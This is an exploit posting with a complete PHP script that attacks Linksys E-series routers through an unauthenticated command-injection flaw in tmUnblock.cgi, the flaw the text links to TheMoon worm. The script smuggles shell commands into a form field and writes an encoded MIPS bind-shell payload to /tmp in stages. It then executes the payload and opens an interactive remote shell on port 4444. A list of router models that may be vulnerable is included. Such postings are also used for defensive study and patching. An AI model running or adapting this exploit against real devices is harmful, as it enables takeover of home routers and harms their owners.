Linksys E-series Unauthenticated Remote Code Execution Exploit

2014-02-16 / 2014-02-17
Credit: Rew
Risk: High
Local: No
Remote: Yes

#!/usr/bin/php <?php /* Exploit for 0day linksys unauthenticated remote code execution vulnerability. As exploited by TheMoon worm; Discovered in the wild on Feb 13, 2013 by Johannes Ullrich. I was hoping this would stay under-wraps until a firmware patch could be released, but it appears the cat is out of the bag... Since it's now public, here's my take on it. Exploit written by Rew. (Yes I know, everyone hates PHP. Deal with it :P ) Currently only working over the LAN. I think there may be an iptables issue or something. Left as an exercise to the reader. Based on "strings" output on TheMoon worm binary, the following devices may be vulnerable. This list may not be accurate and/or complete!!! E4200 E3200 E3000 E2500 E2100L E2000 E1550 E1500 E1200 E1000 E900 E300 WAG320N WAP300N WAP610N WES610N WET610N WRT610N WRT600N WRT400N WRT320N WRT160N WRT150N */ error_reporting(0); $host = ""; // target host $port = "8080"; // target port $vuln = "tmUnblock.cgi"; // hndUnblock.cgi works too // msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X $shellcode = base64_decode( "f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAVABAADQAAAAAAAAAAA". "AAADQAIAABAAAAAAAAAAEAAAAAAAAAAABAAAAAQAB7AQAAogIA". "AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBAV". "BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/". "ra/k/6Cv6P+gr+z/oK8lIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ". "FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQlIBAC//8FKP//BihI". "EAIkDAEBAVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw". "8kJSAQAgEBBSjfDwIkDAEBAVBzDyQlIBAC//8FKN8PAiQMAQEB". "UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P". "+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+lI6sPAiQMAQEBL2Jp". "bi9zaA==" ); // regular urlencode() doesn't do enough. // it will break the exploit. so we use this function full_urlencode($string) { $ret = ""; for($c=0; $c<strlen($string); $c++) { if($string[$c] != '&') $ret .= "%".dechex(ord($string[$c])); else $ret .= "&"; } return $ret; } // wget is kind of a bad solution, because it requires // the payload be accessable via port 80 on the attacker's // machine. a better solution is to manually write the // executable payload onto the filesystem with echo -en // unfortunatly the httpd will crash with long strings, // so we do it in stages. function build_payload($host, $port, $vuln, $shellcode) { // in case we previously had a failed attempt // meh, it can happen echo "\tCleaning up... "; $cleanup = build_packet($host, $port, $vuln, "rm /tmp/c0d3z"); if(!send_packet($host, $port, $cleanup)) die("fail\n"); else echo "done!\n"; // write the payload in 20byte stages for($i=0; $i<strlen($shellcode); $i+=20) { echo "\tSending ".$i."/".strlen($shellcode)." bytes... "; $cmd = "echo -en '"; for($c=$i; $c<$i+20 && $c<strlen($shellcode); $c++) { $cmd .= "\\0".decoct(ord($shellcode[$c])); } $cmd .= "' >> /tmp/c0d3z"; $cmd = build_packet($host, $port, $vuln, $cmd); if(!send_packet($host, $port, $cmd)) die("fail\n"); else echo "sent!\n"; usleep(100000); } // make it usable echo "\tConfiguring... "; $config = build_packet($host, $port, $vuln, "chmod a+rwx /tmp/c0d3z"); if(!send_packet($host, $port, $config)) die("fail\n"); else echo "done!\n"; } // add in all the HTTP shit function build_packet($host, $port, $vuln, $payload) { $exploit = full_urlencode( "submit_button=&". "change_action=&". "submit_type=&". "action=&". "commit=0&". "ttcp_num=2&". "ttcp_size=2&". "ttcp_ip=-h `".$payload."`&". "StartEPI=1" ); $packet = "POST /".$vuln." HTTP/1.1\r\n". "Host: ".$host."\r\n". // this username:password is never checked ;) "Authorization: Basic ".base64_encode("admin:ThisCanBeAnything")."\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Content-Length: ".strlen($exploit)."\r\n". "\r\n". $exploit; return $packet; } function send_packet($host, $port, $packet) { $socket = fsockopen($host, $port, $errno, $errstr); if(!$socket) return false; if(!fwrite($socket, $packet)) return false; fclose($socket); return true; } echo "Testing connection to target... "; $socket = fsockopen($host, $port, $errno, $errstr, 30); if(!$socket) die("fail\n"); else echo "connected!\n"; fclose($socket); echo "Sending payload... \n"; build_payload($host, $port, $vuln, $shellcode); sleep(3); // don't rush him echo "Executing payload... "; if(!send_packet($host, $port, build_packet($host, $port, $vuln, "/tmp/c0d3z"))) die("fail\n"); else echo "done!\n"; sleep(3); // don't rush him echo "Attempting to get a shell... "; $socket = fsockopen($host, 4444, $errno, $errstr, 30); if(!$socket) die("fail\n"); else echo "connected!\n"; echo "Opening shell... \n"; while(!feof($socket)) { $cmd = readline($host."$ "); if(!empty($cmd)) readline_add_history($cmd); // there has got to be a better way to detect that we have // reached the end of the output than this, but whatever // it's late... i'm tired... and it works... fwrite($socket, $cmd.";echo xxxEOFxxx\n"); $data = ""; do { $data .= fread($socket, 1); } while(strpos($data, "xxxEOFxxx") === false && !feof($socket)); echo str_replace("xxxEOFxxx", "", $data); } ?>

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